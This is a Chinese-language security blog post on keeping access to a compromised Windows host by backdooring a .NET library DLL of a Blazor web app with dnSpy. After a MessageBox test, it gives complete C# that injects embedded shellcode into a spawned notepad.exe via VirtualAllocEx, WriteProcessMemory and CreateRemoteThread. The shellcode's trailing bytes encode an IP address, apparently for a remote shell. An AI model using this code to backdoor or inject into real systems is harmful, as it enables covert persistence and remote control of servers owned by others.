权限维持dnSpy 的后门 .NET

原创

Khan安全团队

发布于 2021-12-29 14:54:54

7160

在合法应用程序中放置后门是实现持久性、数据泄露以及在情况允许的情况下提升权限的好方法。使用诸如dnSpy 之类的编辑器对 .NET 程序集进行后门处理非常容易。这篇文章将贯穿一个简单的场景，其中我们对 Blazor 服务器应用程序使用的 DLL 进行后门处理。我认为这是一个有趣的想法，因为它将提供一种从 Internet 触发的方法（假设该应用程序面向公众）。

一种常见的架构模式是将您的服务实现为外部库，并根据需要将它们依赖注入到应用程序或页面中。在这个例子中，我有一个简单的MessageService。所述IMessageService接口有称为单方法的GetMessage ; 仅返回“这是一条消息”的实现。

索引页面然后有一个按钮，单击该按钮时会在页面上显示该消息。

这是相当人为的，但实际上这些服务可以做任何事情，例如从 API 获取数据或进行数据库调用。

发布此解决方案时（使用默认配置），应用程序引用的每个 .NET 程序集都会放入发布目录中。

> dotnet publish -c Release -r win-x64

> ls [...]\win-x64\publish
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d----          04/10/2021    11:06                wwwroot
-a---          02/12/2020    05:30          12240 api-ms-win-core-console-l1-1-0.dll
-a---          02/12/2020    05:30          12256 api-ms-win-core-console-l1-2-0.dll
-a---          02/12/2020    05:30          11736 api-ms-win-core-datetime-l1-1-0.dll
-a---          02/12/2020    05:30          11728 api-ms-win-core-debug-l1-1-0.dll
-a---          02/12/2020    05:30          11728 api-ms-win-core-errorhandling-l1-1-0.dll
[...]
-a---          01/09/2021    18:47          17008 System.Xml.XmlSerializer.dll
-a---          01/09/2021    18:47          14952 System.Xml.XPath.dll
-a---          01/09/2021    19:03          17008 System.Xml.XPath.XDocument.dll
-a---          02/12/2020    05:31        1035728 ucrtbase.dll
-a---          04/10/2021    11:06            534 web.config
-a---          01/09/2021    18:47          15984 WindowsBase.dll

假设我们已经入侵了这台主机，我们可以将这些 DLL（即MessageLibrary.dll）下载到我们自己的机器上并使用 dnSpy 打开它们。这会将 DLL 反编译回其原始源（或足够接近它）。

右键单击反编译的源代码并选择Edit Method。

我们现在可以将任意 C# 插入到此方法中，但我们对可用的类和方法有所限制。我们只能使用库或核心运行时已经使用的那些。

运行时实际上相当大，并且包含很多有用的方法，包括System.Reflection、File.ReadAllBytes和File.WriteAllBytes等。其他如WebClient类、HttpClient类和Process类则没有，因为它们是在System.Net.dll、System.Net.Http.dll和System.Diagnostics.Process.dll分别——所有这些都没有被 MessageLibrary 引用。

System.Runtime.InteropServices可用，这意味着我们可以插入 P/Invoke 代码。

using System;
using System.Runtime.InteropServices;

namespace MessageLibrary
{
	// Token: 0x02000003 RID: 3
	public partial class MessageService : IMessageService
	{
		[DllImport("user32.dll", SetLastError = true, CharSet= CharSet.Auto)]
		static extern int MessageBox(IntPtr hWnd, String text, String caption, uint type);

		// Token: 0x06000002 RID: 2
		public string GetMessage()
		{
			MessageBox(IntPtr.Zero, "Hello from GetMessage()", "Test", 0);
			return "This is a message";
		}
	}
}

修改完成后，单击“编译”按钮。然后File > Save All > OK写入更改。

现在将这个新的 DLL 替换为合法的。一个潜在的缺点是在覆盖文件之前必须停止应用程序（除非您有一些技巧可以避免这种情况）。

现在单击 UI 中的按钮会弹出一个消息框。

从这里开始，通过 P/Invoke 获取 shell 是微不足道的。

using System;
using System.Runtime.InteropServices;

namespace MessageLibrary
{
	// Token: 0x02000003 RID: 3
	public partial class MessageService : IMessageService
	{
/*
* 提示：该行代码过长，系统自动注释不进行高亮。一键复制会移除系统注释 
* private static byte[] _buf = { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x66, 0x81, 0x78, 0x18, 0x0b, 0x02, 0x75, 0x72, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 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0x00, 0x20, 0x00, 0x00, 0x49, 0x89, 0xf9, 0x41, 0xba, 0x12, 0x96, 0x89, 0xe2, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x20, 0x85, 0xc0, 0x74, 0xb6, 0x66, 0x8b, 0x07, 0x48, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xd7, 0x58, 0x58, 0x58, 0x48, 0x05, 0x00, 0x00, 0x00, 0x00, 0x50, 0xc3, 0xe8, 0x9f, 0xfd, 0xff, 0xff, 0x31, 0x37, 0x32, 0x2e, 0x32, 0x35, 0x2e, 0x38, 0x35, 0x2e, 0x35, 0x31, 0x00, 0x67, 0xed, 0x07, 0xd3 };
*/

		// Token: 0x06000002 RID: 2 RVA: 0x00002050 File Offset: 0x00000250
		public string GetMessage()
		{
			var si = new STARTUPINFO();
			si.cb = Marshal.SizeOf(si);

			var sa = new SECURITY_ATTRIBUTES();
			sa.nLength = Marshal.SizeOf(sa);

			var ta = new SECURITY_ATTRIBUTES();
			ta.nLength = Marshal.SizeOf(ta);

			var pi = new PROCESS_INFORMATION();

			CreateProcess(null, "notepad.exe", ref sa, ref ta, false, 0, IntPtr.Zero, "C:\\Windows\\System32", ref si, out pi);

			var alloc = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (IntPtr)_buf.Length, AllocationType.Reserve | AllocationType.Commit, MemoryProtection.ExecuteReadWrite);

			WriteProcessMemory(pi.hProcess, alloc, _buf, _buf.Length, out var written);
			CreateRemoteThread(pi.hProcess, IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, out var threadId);

			return "This is a message";
		}

		[StructLayout(LayoutKind.Sequential)]
		private struct SECURITY_ATTRIBUTES
		{
			public int nLength;
			public IntPtr lpSecurityDescriptor;
			public int bInheritHandle;
		}

		[StructLayout(LayoutKind.Sequential)]
		private struct PROCESS_INFORMATION
		{
		   public IntPtr hProcess;
		   public IntPtr hThread;
		   public int dwProcessId;
		   public int dwThreadId;
		}

		[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
		private struct STARTUPINFO
		{
			 public Int32 cb;
			 public string lpReserved;
			 public string lpDesktop;
			 public string lpTitle;
			 public Int32 dwX;
			 public Int32 dwY;
			 public Int32 dwXSize;
			 public Int32 dwYSize;
			 public Int32 dwXCountChars;
			 public Int32 dwYCountChars;
			 public Int32 dwFillAttribute;
			 public Int32 dwFlags;
			 public Int16 wShowWindow;
			 public Int16 cbReserved2;
			 public IntPtr lpReserved2;
			 public IntPtr hStdInput;
			 public IntPtr hStdOutput;
			 public IntPtr hStdError;
		}

		[DllImport("kernel32.dll", SetLastError=true, CharSet=CharSet.Auto)]
		private static extern bool CreateProcess(
		   string lpApplicationName,
		   string lpCommandLine,
		   ref SECURITY_ATTRIBUTES lpProcessAttributes,
		   ref SECURITY_ATTRIBUTES lpThreadAttributes,
		   bool bInheritHandles,
		   uint dwCreationFlags,
		   IntPtr lpEnvironment,
		   string lpCurrentDirectory,
		   [In] ref STARTUPINFO lpStartupInfo,
		   out PROCESS_INFORMATION lpProcessInformation);

		[DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)]
		private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
		   IntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);

		[DllImport("kernel32.dll")]
		private static extern bool WriteProcessMemory(
			 IntPtr hProcess,
			 IntPtr lpBaseAddress,
			 byte[] lpBuffer,
			 Int32 nSize,
			 out IntPtr lpNumberOfBytesWritten
		);

		[DllImport("kernel32.dll")]
		private static extern IntPtr CreateRemoteThread(IntPtr hProcess,
		   IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress,
		   IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);

		[Flags]
		private enum AllocationType
		{
			 Commit = 0x1000,
			 Reserve = 0x2000,
			 Decommit = 0x4000,
			 Release = 0x8000,
			 Reset = 0x80000,
			 Physical = 0x400000,
			 TopDown = 0x100000,
			 WriteWatch = 0x200000,
			 LargePages = 0x20000000
		}

		[Flags]
		private enum MemoryProtection
		{
			 Execute = 0x10,
			 ExecuteRead = 0x20,
			 ExecuteReadWrite = 0x40,
			 ExecuteWriteCopy = 0x80,
			 NoAccess = 0x01,
			 ReadOnly = 0x02,
			 ReadWrite = 0x04,
			 WriteCopy = 0x08,
			 GuardModifierflag = 0x100,
			 NoCacheModifierflag = 0x200,
			 WriteCombineModifierflag = 0x400
		}
	}
}